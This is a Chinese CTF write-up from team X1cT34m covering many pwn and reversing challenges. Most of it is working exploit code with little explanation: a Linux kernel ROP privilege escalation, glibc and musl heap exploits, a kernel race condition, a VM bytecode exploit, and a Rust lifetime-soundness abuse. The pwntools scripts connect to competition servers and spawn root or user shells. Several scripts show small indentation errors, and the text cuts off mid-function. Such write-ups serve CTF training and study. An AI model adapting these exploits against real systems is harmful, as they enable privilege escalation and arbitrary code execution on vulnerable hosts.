gxzyctf writeup by X1cT34m

高校战“疫”网络安全分享赛 Writeup by X1cT34m-小绿草信息安全实验室

Pwn

babyhacker1 and 2

签到的内核题,输入-1然后栈溢出打内核rop。

//gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
    system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%lx", &commit_creds);
            vmlinux_base = commit_creds - 0xa1430;
}

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%lx", &prepare_kernel_cred);
            }
    }

}
void set_size(int fd,int size)
{
    int m=size-0x10000;
    ioctl(fd,0x30000,m);
}
void write_data(int fd,char *buf)
{
    ioctl(fd,0x30002,buf);
}
void read_data(int fd,char *buf)
{
    ioctl(fd,0x30001,buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
}
int main()
{
    save_status();
    char buf[0x200]={0};
    size_t rop[0x200]={0};
    size_t canary;
    int fd=open("/dev/babyhacker",O_RDONLY);
    if(fd<0)
    exit(0);
    set_size(fd,0x200);
    write_data(fd,buf);
    canary=((size_t*)buf)[40];
    printf("canary:%p \n",canary);
    find_symbols();
    int i=0;
    set_size(fd,0x1000);
    for(i=0;i<0x150/8;i++)
        rop[i]=canary;
    size_t off=vmlinux_base-raw_vmlinux_base;
    rop[i++]=0xffffffff8109054d+off;
    rop[i++]=0;
    rop[i++]=prepare_kernel_cred;
    rop[i++]=0xffffffff81083f22+off;
    rop[i++]=0xffffffff81006ffc+off;
    rop[i++]=0xffffffff813e2613+off;
    rop[i++]=commit_creds;
    rop[i++]=0xffffffff810636b4+off;
    rop[i++]=0;
    rop[i++]=0xffffffff8181d217+off;
    rop[i++]=(size_t)spawn_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    read_data(fd,rop);
    return 0;
}
from pwn import *
with open("e.txt", "r") as f:
    exp_base = f.read()

print(len(exp_base))
r=remote('121.36.215.224',9001)
# context.log_level = 'debug'
r.recvuntil('~')
for i in range(0, len(exp_base), 1000):
    r. sendline("echo -n " + exp_base[i:i+1000] + " >> exp.txt")
r. sendline("base64 -d exp.txt > exp")
sleep(0.1)
r.sendline('chmod +x exp')
sleep(0.1)
#r.sendline('ls -l')
r.sendline('./exp')
r.recvuntil('#')
r.sendline('cat /flag')
r.interactive()

bjut

2.29
edit负数下标越界
2.29的环境下可以写vtable,改指针指向原来的一个vtable后溢出修改成gadget即可
参考wp:https://xz.aliyun.com/t/7205

from pwn import *
from binascii import hexlify
#io=process('./hw')
io = remote('121.37.167.199',9997)

def menu(choice):
    io.sendlineafter('######################## ',str(choice))

def add(len,content):
    menu(1)
    io.sendlineafter('The length of your hw:',str(len))
    io.sendafter('our hw:',content)

def show(idx):
    io.sendlineafter(">","4")
    io.sendlineafter(":\n",str(idx))
    io.recvuntil(":\n")

def modify(idx,data):
    io.sendlineafter(">","2")
    io.sendlineafter(":\n",str(idx))
    io.sendlineafter(":\n",data)

libc=ELF('./libc.so.6')
show(-40)
lbase = u64(io.recvuntil("###")[0x3a0/2:0x3a0/2+8])-0x26a80
print(hex(lbase))
offset=libc.symbols['__free_hook']-libc.symbols['_IO_2_1_stderr_']
system=libc.symbols['system']+lbase
py=p64(0xfbad2087)+p64(lbase+0x00007fa7353ac703-0x7fa7351c7000)*7+p64(lbase+0x00007fa7353ac704-0x7fa7351c7000)
py+=p64(0)*4
py+=p64(0x00007fa7353ac760-0x7fa7351c7000+lbase)
py+=p64(0x2)+p64(0xffffffffffffffff)+p64(0)
py+=p64(0x00007fa7353ae570+lbase-0x7fa7351c7000)
py+=p64(0xffffffffffffffff)+p64(0)+p64(lbase+0x00007fa7353ab780-0x7fa7351c7000)
py+=p64(0)*6+p64(0x7fa7353ac960-0x7fa7351c7000+lbase)
py+=p64(0xfbad2887)+p64(lbase+0x00007fa7353ac703-0x7fa7351c7000)*7+p64(lbase+0x00007fa7353ac704-0x7fa7351c7000)
py+=p64(0)*4
py+=p64(0x00007fa7353aba00-0x7fa7351c7000+lbase)
py+=p64(0x1)+p64(0xffffffffffffffff)+p64(0x000000003e000000)
py+=p64(0x00007fa7353ae580+lbase-0x7fa7351c7000)
py+=p64(0xffffffffffffffff)+p64(0)+p64(lbase+0x00007fa7353ab8c0-0x7fa7351c7000)
py+=p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2
py+=p64(0x7fa7353ac960-0x7fa7351c7000+lbase)
off=lbase-0x7fa7351c7000
py+=p64(0x00007fa7353ac680+off)
py+=p64(0x00007fa7353ac760+off)
py+=p64(0x00007fa7353aba00+off)
py+=p64(0x00007fa7351ede90+off)
py+=p64(0x00007fa73535bdd0+off)
py+=p64(0x00007fa73535d000+off)
py+=p64(0x00007fa73535d030+off)
py+=p64(0x00007fa73535d090+off)
py+=p64(0x00007fa73535d2e0+off)
py+=p64(0x00007fa73535d4e0+off)
py+=p64(0x00007fa73535d5b0+off)
py+=p64(0x00007fa73535d5f0+off)
py+=p64(0x00007fa73535d650+off)
py+=p64(0x00007fa73526e390+off)
py+=p64(0x00007fa73535d770+off)
py+=p64(0x00007fa73535d7b0+off)
py+=p64(0x00007fa73535d810+off)
py+=p64(0x00007fa73535d880+off)
py+=p64(0x00007fa7352df2a0+off)
py+=p64(0x00007fa73535d890+off)
py+=p64(0x00007fa73535d940+off)
py+=p64(0x00007fa73535d980+off)
py+=p64(0x00007fa735307150+off)
py+=p64(0x00007fa73535da40+off)
py+=p64(0x00007fa73535dac0+off)
py+=p64(0x00007fa73535dbb0+off)
py+=p64(0x00007fa73535dc30+off)
py+=p64(0x00007fa735318890+off)
py+=p64(0x00007fa73535dc50+off)
py+=p64(0x00007fa73535dc80+off)
py+=p64(0x00007fa73535dcb0+off)
py+=p64(0x00007fa73535dce0+off)
py+=p64(0x00007fa73535dd10+off)
py+=p64(0x00007fa73535ddd0+off)
py+=p64(0)*4
py+=p64(lbase+0x106ef8)*16
#gdb.attach(io,'b *0x0040148C')
modify(-16,py)

io.interactive()

lgd

签到题目,
黑盒调下一目了然。

from pwn import *
r=process('./pwn')
r = remote('121.36.209.145',9998)
def gd():
    gdb.attach(r)
    pause()

def menu(choice):
    r.sendlineafter('>> ',str(choice))

def add(size_1,size):
    menu(1)
    r.sendlineafter('______?',str(size_1))
    r.sendafter('start_the_game,yes_or_no?','a'*size)

def free(idx):
    menu(2)
    r.sendlineafter('index ?',str(idx))

def show(idx):
    menu(3)
    r.sendlineafter('index',str(idx))

def edit(idx,content):
    menu(4)
    r.sendlineafter('index ?',str(idx))
    r.sendafter('__c___r__s__++___c___new_content ?',content)

prdi = 0x0000000000021102
prsi = 0x00000000000202e8
prdx = 0x0000000000001b92
elf = ELF('./pwn')
libc= elf.libc
r.sendlineafter('name','zihu4n')
#gdb.attach(r,'b* 0x4020a3')
add(0x80,0x200)#0
add(0x10,0x200)#1
free(0)
add(0x80,0x80)#0
show(0)
r.recvuntil('\x0a')
leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(leak)
libc_base=leak-88-0x10-libc.symbols['__malloc_hook']
print hex(libc_base)
add(0x100,0x120)#2
add(0x100,0x100)#3
add(0x80,0x80)#4
to_fake=0x6032e0+0x10
edit(2,p64(0)+p64(0x101)+p64(to_fake-0x18)+p64(to_fake-0x10)+'\x00'*0xe0+p64(0x100)+p64(0x110))
free(3)
edit(2,p64(0)+p64(0x6032e0)+p64(0x6032e8))
environ=libc_base+libc.symbols['environ']
edit(0,p64(environ))
off_rbp=0x7ffdb35dc890-0x00007ffdb35dc988
show(0)
r.recvuntil('\x0a')
stack_leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(stack_leak+off_rbp)
rbp_addr=stack_leak+off_rbp - 0x130
edit(1,p64(rbp_addr))
prdi = libc_base + prdi
prsi = libc_base + prsi
prdx = libc_base + prdx
open = libc_base + libc.symbols['open']
read = libc_base + libc.symbols['read']
write = libc_base + libc.symbols['write']
rop = '/flag\x00\x00\x00'
rop += p64(prdi)
rop += p64(rbp_addr)
rop += p64(prsi)
rop += p64(0)
rop += p64(open)
rop += p64(prdi)
rop += p64(0x3)
rop += p64(prsi)
rop += p64(rbp_addr + 0x500)
rop += p64(prdx)
rop += p64(0x50)
rop += p64(read)
rop += p64(prdi)
rop += p64(1)
rop += p64(prsi)
rop += p64(rbp_addr + 0x500)
rop += p64(prdx)
rop += p64(0x50)
rop += p64(write)
#print rop
#pause()
edit(1,rop)
#gd()
#gdb.attach(r,'b* 0x')
r.interactive()

Shotest_Path_v2

4是找最短路,最短路是spfa找的
4处的queue可以到200刚好覆盖到inuse[0],然后实现uaf。
接下来就是想办法搜爆这个玩意儿

from pwn import *
#r=process('./Shortest')
r=remote('121.37.181.246',19008)
def menu(choice):
    r.sendlineafter('options ---> ',str(choice))

def add(idx,len,name):
    menu(1)
    r.sendlineafter('Station ID: ',str(idx))
    r.sendlineafter('ation Price: ','1')
    r.sendlineafter('Station Name Length: ',str(len))
    r.sendlineafter('tation Name: ',name)

def addn(idx,len,name):
    add(idx,len,name)
    r.sendlineafter('mber of connected station: ','0')

def addx(idx,n):
    add(idx,0x10,'a')
    r.sendlineafter('mber of connected station: ',str(n))
def free(idx):
    menu(2)
    r.sendlineafter('tation ID: ',str(idx))

def show(idx):3

    menu(3)
    r.sendlineafter('ation ID: ',str(idx))

def list(start,end):
    menu(4)
    r.sendlineafter('ource Station ID: ',str(start))
    r.sendlineafter('tation ID: ',str(end))

def gd():
    gdb.attach(r)
    pause()

def link(n):
    r.sendlineafter('onected station ID: ',str(n))
    r.sendlineafter('ion distance: ','-1')

def t_link(i):
    addx(i,20)
    for j in range(21):
        if j+1 != i:
            link(j+1)

addn(0,0x20,'aaaaaaaaaaaaaaaa')
addn(30,0x20,'bbbbbbbbbbbbbbbb')
for i in range(21):
    t_link(i+1)
free(0)
list(1,2)
free(30)
addn(29,0x10,p64(0)+p64(0x6068E0))
r.interactive()

easyheap

add函数有洞 fastbin的fd可以写道下一个前八字节
再用edit任意写

from pwn import *
#r=process('./easyheap')
r=remote('121.36.209.145',9997)
def addn():
    r.sendlineafter('Your choice:','1')
    r.sendlineafter('How long is this message?','40000')
    sleep(0.1)
def add(size,content):
    r.sendlineafter('Your choice:','1')
    r.sendlineafter('How long is this message?',str(size))
    sleep(0.1)
    r.sendafter('What is the content of the message?',content)

def free(idx):
    r.sendlineafter('Your choice:','2')
    r.sendlineafter('he index of the item to be deleted?',str(idx))
def edit(idx,content):
    r.sendlineafter('Your choice:','3')
    r.sendlineafter(' the index of the item to be modified?',str(idx))
    sleep(0.1)
    r.sendafter('What is the content of the message?',content)
def gd():
    gdb.attach(r)
    pause()

libc=ELF('./libc.so.6')
elf=ELF('./easyheap')
add(0x10,'aaaa')
add(0x20,'aaaa')
free(0)
free(1)
addn()
addn()
addn()
edit(0,p64(0)+p64(0x21)+'\x30')
edit(1,p64(elf.got['puts']))
edit(0,p64(0)+p64(0x21)+p64(elf.got['free'])+p64(10))
edit(1,p64(elf.plt['puts']))
free(2)
r.recvuntil('\x0a')
leak=u64(r.recv(6).ljust(8,'\x00'))
libc_base=leak-libc.symbols['puts']
print hex(leak)
print hex(libc_base)
system=libc_base+libc.symbols['system']
print hex(system)
edit(0,p64(0)+p64(0x21)+p64(elf.got['atoi']))
edit(1,p64(system))
r.interactive()

woodenbox

house of roman,堆溢出,可以造成堆重叠,free进unsorted bin,把重叠的堆块扔进fastbin 然后里面有libc 爆破一位
打到stdout,leak出libc 堆溢出随便做

from pwn import *
def add(size,content):
    p.recvuntil('Your choice:')
    p.sendline('1')
    p.recvuntil('Please enter the length of item name:')
    p.sendline(str(size))
    p.recvuntil('Please enter the name of item:')
    p.send(content)
def edit(idx,size,content):
    p.recvuntil('Your choice:')
    p.sendline('2')
    p.recvuntil('Please enter the index of item:')
    p.sendline(str(idx))
    p.recvuntil('Please enter the length of item name:')
    p.sendline(str(size))
    p.recvuntil('Please enter the new name of the item:')
    p.send(content)
def delete(idx):
    p.recvuntil('Your choice:')
    p.sendline('3')
    p.recvuntil('Please enter the index of item:')
    p.sendline(str(idx))
while 1:
    #p = process('./wooden')
    p = remote('121.36.215.224',9998)
    elf = ELF('./wooden',checksec='false')
    libc = elf.libc
    add(0x18,'0\n')
    add(0xc8,'1\n')
    add(0x68,'2\n')
    add(0x68,'3\n')
    add(0x68,'4\n')
    add(0x68,'5\n')
    add(0x10,'6\n')
    payload = 'a'*0x18+p64(0x291)
    edit(0,0x70,payload)
    delete(0)
    delete(0)
    delete(0)
    add(0xc8,'1\n')
    add(0x1b0,'\xdd\x15') #
    payload = 'a'*0xc8 + p64(0x71)
    edit(4,0xd0,payload)
    add(0x68,'6\n')
    payload = 'a'*0x33+p64(0xfbad1887)+p64(0)*3+'\x00\x15'
    try:
        add(0x68,payload)
    except EOFError:
        p.close()
        continue
    else:
        libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x18e997
        print 'libc_base: ' + hex(libc_base)
        malloc_hook = libc_base + libc.symbols['__malloc_hook']
        realloc = libc_base + libc.symbols['__libc_realloc']
        one = libc_base + 0x4526a
        for i in range(6):
            delete(0)
        add(0x68,'0\n')
        add(0x68,'1\n')
        add(0x68,'2\n')
        add(0x68,'3\n')
    payload = 'a'*0x68+p64(0xe1)
        edit(0,0x70,payload)
    add(0xc0,'4\n')
        delete(5)
        add(0x68,'5\n')
    add(0x68,'6\n')
        delete(3)
    edit(5,0x68,p64(malloc_hook - 0x23))
    add(0x68,'1\n')
    add(0x68,'a'*0xb+p64(one)+p64(realloc+12))
    #gdb.attach(p,'b* $rebase(0xb6d)')
    p.interactive()

Kernoob

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <pthread.h>

int fd1,fd2;

struct node
{
    uint64_t index;
    uint64_t data_ptr;
    uint64_t size;
};

int new(int fd,struct node * n)
{
    return ioctl(fd,0x30000,n);
}

int del(int fd,uint64_t index)
{
    struct node n;
    n.index = index;
    n.size = 0;
    n.data_ptr = NULL;
    return ioctl(fd,0x30001,&n);
}

int  edit(int fd,uint64_t index,uint64_t ptr,uint64_t size)
{
    struct node n;
    n.index = index;
    n.size = size;
    n.data_ptr = ptr;
    return ioctl(fd,0x30002,&n);
}

int  show(int fd,uint64_t index,uint64_t ptr,uint64_t size)
{
    struct node n;
    n.index = index;
    n.size = size;
    n.data_ptr = ptr;
    return ioctl(fd,0x30003,&n);
}

int finish = 0;
void changesize(void * ptr)
{
    struct node * p = (struct node *)ptr;

    while(!finish)
    {
        p->size = 0xa8;
    }
}

char  buf[0x100] = {0};

int main()
{
    pthread_t t1,t2;
    fd1 = open("/dev/noob",O_RDWR);
    fd2 = open("/dev/noob",O_RDWR);
    assert(fd1 >= 0);
    assert(fd2 >= 0);
    puts("[*]race condition");
    struct node n;
        n.index = 0;
        n.size = 0x68;
        n.data_ptr = 0;

    pthread_create(&t1, NULL,changesize,&n);

    for (int i=0;i<0x20;i++) {
        n.size = 0x68;
        n.index = i;
        if(new(fd1,&n) == -1)
        {
            i -= 1;
        }
    }
    finish = 1;
    pthread_join(t1, NULL);

    memset(buf,0x41,0xa8);
    for(int i=0;i < 0x20;i++)
    {
        if(edit(fd1,0,buf,0xa8) != -1)
        {
            printf("GET IT:%d\n",i);
        }
        else
        {
            printf("GG\n");
        }
    }

    del(fd1,0);

    puts("[*]fork");
    int pid = fork();
    if (pid < 0) {
            printf("[-]fork error!!\n");
            exit(-1);
    } 
    else if (pid == 0) 
    {
        char buf[28];
            memset(buf,0,28);
            edit(fd2,0,buf,28);
            if (getuid() == 0) 
        {
                printf("[+]rooted!!\n");
                system("/bin/sh");
            }
    }   
    else 
    {
            wait(NULL);
    }
    return ;
}

成功概率很低很低
后来在fs那边找到了flag

EasyVM

from z3 import *
from pwn import *

#context.log_level="debug"

def decode(enc):
        print "%x"%enc
        R1 = BitVec('R1',32)
        S = Solver()

        R6 = R1
        R1 >>= 0xD
        R1 ^= R6
        R6 = R1
        R1 <<= 9
        R1 &= 0X78F39600
        R1 ^= R6
        R6 = R1
        R1 <<= 0x11
        R1 &= 0X85D40000
        R1 ^= R6
        R6 = R1
        R1 >>= 0X13
        R1 ^= R6

        S.add(R1 == enc)

        if S.check() == sat:
                R1 = BitVec('R1',32)
                return S.model()[R1].as_long()
        else:
                return 0;

#r = process("./EasyVM.bak")
r = remote("121.36.215.224",9999)

def sa(a,b):
        r.sendlineafter(a,b)

sa(">>> ","4")
sa(">>> ","2")
r.recvline()
start =  decode(int(r.recvline(10),16))

if (start & 0xfff) == 0x6c0:
        log.success("[*] start:0x%x"%start)
        malloc_got = start + 0x290c
        opcode = chr(0x80) + chr(3) + p32(malloc_got) # MOV R3 mallocgot
        opcode += chr(0x53) + chr(0xff) # putchar R3
        opcode += chr(0x80) + chr(3) + p32(malloc_got + 1) # MOV R3 mallocgot + 1
        opcode += chr(0x53) + chr(0xff) # putchar R3
        opcode += chr(0x80) + chr(3) + p32(malloc_got + 2) # MOV R3 mallocgot + 2
        opcode += chr(0x53) + chr(0xff) # putchar R3
        opcode += chr(0x80) + chr(3) + p32(malloc_got + 3) # MOV R3 mallocgot + 3
        opcode += chr(0x53) + chr(0xff) # putchar R3
        opcode += chr(0x99)
        sa(">>> ","1")
        #raw_input()
        r.sendline(opcode)

        sa(">>> ","2")
        print r.recv()
        malloc_addr = u32(r.recv(1) + r.recv(1) + r.recv(1) + r.recv(1))
        log.success("[*] malloc_addr:0x%x"%malloc_addr);
        libc_addr = malloc_addr - 0x70f00
        log.success("[*] libc_addr:0x%x"%libc_addr);

        free_hook =  0x1b38b0 + libc_addr

        opcode = chr(0x80) + chr(3) + p32(free_hook)
        opcode += chr(0x54) + chr(0xff)
        opcode += chr(0x80) + chr(3) + p32(free_hook + 1)
        opcode += chr(0x54) + chr(0xff)
        opcode += chr(0x80) + chr(3) + p32(free_hook + 2)
        opcode += chr(0x54) + chr(0xff)
        opcode += chr(0x80) + chr(3) + p32(free_hook + 3)
        opcode += chr(0x54) + chr(0xff)
        opcode += chr(0x80) + chr(0) + p32(u32("/bin"))
        opcode += chr(0x80) + chr(1) + p32(u32("/sh\x00"))
        opcode += chr(0x99)

        sa(">>> ","1")
        r.sendline(opcode)

        sa(">>> ","2")
        r.send(p32(libc_addr + 0x3ada0))

        r.interactive()
        #print r.recv().encode("hex")
else:
        exit(0)

musl

  • musl的堆管理大概就是删掉了tcache和fastbin的ptmalloc再加上段内随机起始偏移
  • 堆溢出,打unlink,这里比较神奇的一点是释放堆块的size.inuse得置1否则free会失败
  • musl内取消了大量的hook机制,故泄露environ造ROP
from pwn import *
from sys import argv

if len(argv) == 1:
    io = process("./carbon")
else:
    io = remote("119.3.158.103",19008)

libc = ELF("./libc.so")
libc.sym["environ"] = 0x7f3d75966fd8-0x7f3d756d2000

def A(size, na, words):
    io.sendlineafter("> ","1")
    io.sendlineafter(" >",str(size))
    io.sendlineafter(" >",na)
    if len(words) == size:
        io.sendafter(" >",words)
    else:
        io.sendlineafter(" >",words)

def D(idx):
    io.sendlineafter("> ","2")
    io.sendlineafter(" >",str(idx))

def T(idx, words):
    io.sendlineafter("> ","3")
    io.sendlineafter(" >",str(idx))
    io.send(words)

def E(idx):
    io.sendlineafter("> ","4")
    io.sendlineafter(" >",str(idx))
    return io.recvuntil("Done")

A(0x60,"N","AAAA")  #0
A(0x60,"N","AAAA")  #1
A(0x60,"N","AAAA")  #2
A(0x60,"N","BBBB")  #3
A(0x60,"N","AAAA")  #4
A(0x60,"N","AAAA")  #5
A(0x60,"N","AAAA")  #6
A(0x60,"N","BBBB")  #7
D(3)
D(5)
D(1)
payload = "H"*0x38+p64(0)*3+p64(0x61)+p64(0x20)+p64(0xdeadbeef)*2+p64(0x70)+p64(0x81)+"F"*8
A(0x38,"Y",payload)   #0
lbase = u64(E(4)[8:14].ljust(8,'\x00'))-(0x7f39fdbefe38-0x7f39fd95d000)
mbase = lbase + (0x7fb0336ec000-0x7fb03345c000)
hbase = lbase + (0x7fb0336ef000-0x7fb03345c000)
success("LIBC BASE -> %#x"%lbase)
success("MMAP BASE -> %#x"%mbase)
success("HEAP BASE -> %#x"%hbase)

T(1,p64(1)+p64(0x71)+p64(mbase+0x18-0x18)+p64(mbase+0x18-0x10)+"\n")
D(4)
T(1,p64(mbase+0x10)+p64(0x4)+p64(0x602034)+p64(8)+p64(lbase+libc.sym["environ"])+"\n")
T(1,p32(0))
environ = u64(E(2)[:6].ljust(8,'\x00'))
success("ENVIRON -> %#x"%environ)

pop_rdi = 0x14862
binsh = 0x91345
predict_ret = environ-(0x7fff17121538-0x7fff171214a0)+8
T(0,p64(0x70)+p64(predict_ret)+"\n")
#gdb.attach(io,'handle SIGALRM nostop noprint\nb *0x400f7f')
T(1,p64(lbase+pop_rdi)+p64(lbase+binsh)+p64(lbase+libc.sym["system"]))
io.interactive()

rustpad

给了一个cargo项目,main里面有flag,同时调用了lib里的函数code,lib文件可写但是过滤了诸如std、macro之类
这里用了一个能无限延长引用生命周期的洞

static UNIT: &'static &'static () = &&();

fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T {
    v
}

fn bad<'b, T>(x: &'b T) -> &'static T {
    let f: fn(_, &'b T) -> &'static T = foo;
    f(UNIT, x)
}

按照规则,foo中应有'b: 'a这样一条约束,但是在bad中这条约束消失了,于是在'a: 'static的情况下bad(x)会得到一条static的引用,直观的表现就是飞出一个野指针
于是想法很直观,将一个String胖指针通过Vec改写获得任意读。
其实任意写应该也是可以的,但是远程环境不大明了,也不想给自己加戏
于是有了

static UNIT: &'static &'static () = &&();

fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T {
    v
}

fn bad<'b, T>(x: &'b T) -> &'static T {
    let f: fn(_, &'b T) -> &'static T = foo;
    f(UNIT, x)
}

pub fn code() {
    let mut pa;
    {
        let b = vec![
            String::from("aaaaa"),
            String::new(),
            String::new(),
            String::new(),
        ];
        pa = bad(&b);
    }
    {
        let x = "aaaaa".as_ptr() as i64;
        let b: Vec<i64> = vec![x-0x30, 5, 5, 1, 0, 0, 1, 0, 0, 1, 0, 0];
        println!("{:?}", pa);
    }
}

twochunk

本来最后一天晚上想到了思路,但当时jio的太晚了先睡了结果早上起来exp没来得及写orz。
本题环境在2.30,但其实在2.29下利用是一样的。
具体利用的方法是smallbin在被申请时候,如果smallbin链表中还有其他smallbin且对应的tcache未满,则会将smallbin链接进入tcache。
在链接的过程中之对第一个的bk->fd进行了check。
相关源码如下:

高校战“疫”网络安全分享赛 Writeup by X1cT34m-小绿草信息安全实验室

可以得出相关的利用条件:
ptr=bin->bk;
assert(ptr->bk->fd==ptr);
这样就可以通过smallbin的检测,而在tcache那边是不存在检测的,只有要注意的是你要放tcahce的chunk的bk需要存在。
这边有个这种打法的一个自写的demo:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    size_t* a[0x100];
    int i=0;

    for(i=0;i<7;i++)
        a[i]=malloc(0x80);
    a[100]=malloc(0x10);
    a[8]=malloc(0x80);
    a[100]=malloc(0x10);
    a[9]=malloc(0x80);
    a[100]=malloc(0x10);
    a[10]=malloc(0x80);
    a[100]=malloc(0x10);
    for(i=0;i<7;i++)
        free(a[i]);
    puts("to have small bin");
    free(a[8]);
    free(a[9]);
    malloc(0x80);
    malloc(0x80);
    printf("target addr :%p\n",a[1]);
    a[101]=calloc(1,0x200);
    *(a[9]+1)=a[1]-2;
    *(a[1]+1)=a[2];
    calloc(1,0x80);
    a[50]=malloc(0x80);
    printf("and now malloc tcache addr:%p\n",a[50]);
}

之后对堆进行相关布置后满足相关条件即可将buf作为一个tcache伪造,之后再次申请拿下buf,控制完system('/bin/sh')一发入魂
exp:

from pwn import *
r=process('./twochunk')
elf=ELF('./twochunk')
libc=elf.libc
def menu(choice):
    r.sendlineafter('choice: ',str(choice))

def add(idx,size):
    menu(1)
    r.sendlineafter('idx',str(idx))
    r.sendlineafter('size',str(size))

def free(idx):
    menu(2)
    r.sendlineafter('idx',str(idx))

def show(idx):
    menu(3)
    r.recvuntil('idx: ')
    r.sendline(str(idx))

def edit(idx,content):
    menu(4)
    r.sendlineafter('idx',str(idx))
    r.sendafter('content',content)

def gd():
    gdb.attach(r)
    pause()

#need to do
#chunk1->chunk2(fd->chunk1 bk->buf)
r.recvuntil('your name: ')
r.send(p64(0x23333000+0x20)*6)
r.recvuntil('leave your message: ')
r.send('a'*0x30)
#set tcache
for i in range(5):
    add(0,0x88)
    free(0)
for i in range(7):
    add(0,0x190)
    free(0)
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100)
free(1)
free(0)#have a small bin
add(0,0xf0)
free(0)
add(0,0xf0)
free(0)#set chunk
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100)
free(1)
free(0)
add(0,0x190)
free(0)
#gd()
add(0,0x5B25)
show(0)
heap_addr=u64(r.recv(8))
print hex(heap_addr)
edit(0,'\x00'*0xf0+p64(0)+p64(0x101)+'\x00'*0xf0+p64(0)+p64(0x111)+p64(0)+p64(0x91)+p64(heap_addr-0x561f70d3f3e0+0x0000561f70d3f190)+p64(0x23333000-0x10))
add(1,0x88)
menu(5)
r.recvuntil('message: ')
libc_leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(libc_leak)
libc_base=libc_leak-224-0x10-libc.symbols['__malloc_hook']
menu(6)
r.recvuntil('our end message: ')
py=p64(libc_base+libc.symbols['execve'])
py+=p64(0)*5+p64(libc_base+libc.search('/bin/sh').next())+p64(0)+p64(0)
r.send(py)
r.interactive()

Re

cycle graph

flag{d8b0bc97a6c0ba27}
check好过,关键后面,能找到规律

clock

加密程序,打开flag.txt加密
验证flag.txt格式 flag{}
长度24
转成三个大16进制 范围限制第一个<0xe00000第二个小于0xc00000

    do
    {
      v8 = 0;
      v9 = 8i64;
      do
      {
        v10 = first & 0x17FA06;
        for ( i = 0; v10; v10 >>= 1 )
          i ^= v10 & 1;
        first = (i ^ (2 * first)) & 0x1FFFFF;
        v12 = second & 0x2A9A0D;
        for ( j = 0; v12; v12 >>= 1 )
          j ^= v12 & 1;
        second = (j ^ (2 * second)) & 0x3FFFFF;
        v14 = third & 0x5E5E6A;
        for ( k = 0; v14; v14 >>= 1 )
          k ^= v14 & 1;
        third = (k ^ (2 * third)) & 0x7FFFFF;
        v16 = 2 * v8;
        v17 = second;
        if ( first & 1 )
          v17 = third;
        v8 = v17 & 1 ^ v16;
        --v9;
      }
      while ( v9 );
      byte_140008980[v4++] = v8;
    }
    while ( v4 < 0x100000 );

Geffe
相关性攻击
c的爆破脚本:

#include <stdio.h>
#include <stdint.h>

void lfsr(
    int init, int mask1, int mask2, uint8_t* seq, int len
) {
    for(int j = 0; j < len; j++) {
        uint8_t byte = 0;
        uint8_t bit = 8;
        do {
            uint8_t output = 0;
            int x = init & mask1;
            while (x) {
                output ^= x & 1;
                x >>= 1;
            }
            init = (output ^ (init << 1)) & mask2;
            byte = (byte << 1) ^ output;
            bit--;
        } while (bit);
        seq[j] = byte;
    }
}

double correlation(
    uint8_t* A, uint8_t* B, int len
) {
    int N = len * 8;
    int d = 0;
    for(int i = 0; i < len; i++) {
        uint8_t bit = 8;
        uint8_t a = A[i];
        uint8_t b = B[i];
        do {
            if ((a & 1) == (b & 1))
                d++;
            a >>= 1;
            b >>= 1;
            bit--;
        } while (bit);
    }
    return (double)d / N;
}

uint8_t mixed_output[] = {
    95, 83, 107, 255, 209, 96, 188, 166, 230, 219, 223, 72, 150, 155, 169,
    138, 126, 0, 91, 20, 19, 109, 82, 12, 249, 91, 39, 107, 104, 55, 207,
    65, 155, 197, 204, 81, 76, 22, 83, 208, 215, 13, 254, 14, 43, 87, 29,
    42, 161, 92, 2, 109, 110, 232, 201, 147, 19, 53, 216, 82, 144, 169,
    34, 193, 106, 0, 253, 224, 7, 46, 24, 16, 226, 127, 164, 162, 54, 98,
    144, 141, 182, 174, 252, 64, 130, 19, 163, 242, 176, 78, 79, 3, 19, 11,
    160, 121, 149, 44, 53, 17,
}; // 100

void guess2(
) {
    int len = 100;
    uint8_t seq[100] = {};

    int possible_r2 = 0;
    double max_p = 0.0;

    int r2;
    for (r2 = 0; r2 < (1<<22); r2++) {
        lfsr(r2, 0x2A9A0D, 0x3FFFFF, seq, 100);

        double corr = correlation(seq, mixed_output, len);
        if (corr > max_p) {
            possible_r2 = r2;
            max_p = corr;
        }
    }
    printf("%d %f", possible_r2, max_p); // 3324079
}

void guess3(
) {
    int len = 100;
    uint8_t seq[100] = {};

    int possible_r3 = 0;
    double max_p = 0.0;

    int r3;
    for (r3 = 0; r3 < (1<<23); r3++) {
        lfsr(r3, 0x5E5E6A, 0x7FFFFF, seq, 100);

        double corr = correlation(seq, mixed_output, len);
        if (corr > max_p) {
            possible_r3 = r3;
            max_p = corr;
        }
    }
